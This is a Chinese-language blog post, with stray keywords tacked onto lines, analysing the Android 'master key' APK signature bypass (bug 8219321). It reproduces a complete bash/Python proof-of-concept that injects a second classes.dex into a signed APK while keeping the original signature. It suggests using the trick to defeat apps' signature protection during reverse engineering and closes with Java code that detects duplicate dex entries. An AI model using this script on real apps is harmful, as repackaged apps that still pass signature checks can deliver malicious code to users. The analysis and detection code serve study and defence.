【漏洞分析】php
看雪有個帖子分析得已經很透徹了:http://bbs.pediy.com/showthread.php?t=175129python
這個漏洞本質是:Android安裝文件的時候,在校驗包的時候,沒有考慮到重複打包的狀況(同名文件的存在),所以對於校驗簽名部分就這麼過了,而執行dex時候以第一個爲準,所以能夠利用其原始APK包的簽名而後執行咱們後加的破壞代碼。android
【漏洞演示】git
這個漏洞的利用方式,這個帖子的PoC相對靠譜:https://github.com/poliva/random-scripts/blob/master/android/masterkey-apk-inject.shgithub
具體代碼:apache
#!/bin/bash # PoC for Android bug 8219321 by @pof # +info: https://jira.cyanogenmod.org/browse/CYAN-1602 if [ $# != 2 ]; then echo "Usage: $0 <platform.apk> <inject.apk>" ; exit 1 ; fi PLATFORM="$1" INJECT="$2" if [ ! -f "$PLATFORM" ]; then echo "ERROR: $PLATFORM does not exist" ; exit 1; fi if [ ! -f "$INJECT" ]; then echo "ERROR: $INJECT does not exist" ; exit 1; fi mkdir tmp cd tmp unzip ../$PLATFORM cp ../$INJECT ./out.apk cat >poc.py <<-EOF #!/usr/bin/python import zipfile import sys z = zipfile.ZipFile(sys.argv[1], "a") z.write(sys.argv[2]) z.close() EOF chmod 755 poc.py for f in `find . -type f |sed -e "s:^\./::g" |egrep -v "(poc.py|out.apk)"` ; do "D:/Program Files/adt-bundle-windows-x86-20130729/sdk/build-tools/android-4.3/aapt.exe" add -v out.apk "$f" ; if [ $? != 0 ]; then ./poc.py out.apk "$f" ; fi ; done SN=`openssl pkcs7 -inform DER -in META-INF/*.RSA -noout -print_certs -text |grep "Serial Number" |awk '{print $3}' |cut -f 1 -d "/"` CN=`openssl pkcs7 -inform DER -in META-INF/*.RSA -noout -print_certs -text |grep "Issuer:" |sed -e "s/ /\n/g" |grep "^CN=" |cut -f 1 -d "/" |sed -e "s/^CN=//g"` cp out.apk ../evil-${SN}-${CN}-${PLATFORM} cd .. rm -rf tmp echo "Modified APK: evil-${SN}-${CN}-${PLATFORM}"
紅體下劃線部分是我本身針對我本機上的cygwin改的,用這種方式製做出來的APK包,用WINZIP(不要用360壓縮,不過我用的是Zipeg)打開效果以下:windows
這裏之因此文件是同樣的,是由於我打得這兩個classes是直接複製的。安全
【漏洞利用】bash
這個漏洞其實如今雖說被各大手機殺毒軟件廠商所截殺,好比會對安裝的APK進行嚴格校驗查看其是否在ZIP格式中有重名的文件,可是還有有利用價值。dom
首先好比要逆向一款軟件,若是對方有簽名保護,甚至保護仍是作到SO/BIN裏面,而你又沒法使用SmaliHook之類的手法進行常規破解,能夠考慮下這個漏洞的利用:
選一個Android4.0的手機或者3.X的模擬器,保證測試環境能夠利用這種漏洞(無安全軟件,版本支持),而後把你須要的APK進行拆解並添加本身想加的代碼,這樣利用PYTHON打包以後,咱們執行的就是你修改的dex且不涉及到更改簽名以及面對複雜的簽名自校驗保護重打包了。
雖然這個不能用於作壞事,可是對於逆向分析來講,絕對是一個天大的漏洞,我想這種狀況會長期持續一段時間的。
【解決方案】
(逆向)參考網秦安全的專殺代碼,修改檢查ZIP裏面雙classes狀況:
public boolean testDupClass() { int i = 0; try { Enumeration localEnumeration = new ZipFile(getApplicationContext().getPackageCodePath()).getEntries(); while (localEnumeration.hasMoreElements()) { String pathPath = ((ZipArchiveEntry)localEnumeration.nextElement()).getName(); Log.i("[INFO]",pathPath); if (pathPath.equals("classes.dex")) { i++; if (i == 2) { Log.w("[WARNING]","dupdex"); Toast.makeText(getApplicationContext(), "Dup Classes Warning",Toast.LENGTH_SHORT).show(); return true; } } } } catch (IOException localIOException) { localIOException.printStackTrace(); }
這裏得說一下,Android JAVA提供的ZipEntry是不行的,不能解析出2個ZIP的狀況(或許360壓縮也是這麼作的),須要用org.apache.commons.compress提供的包(源碼可下載)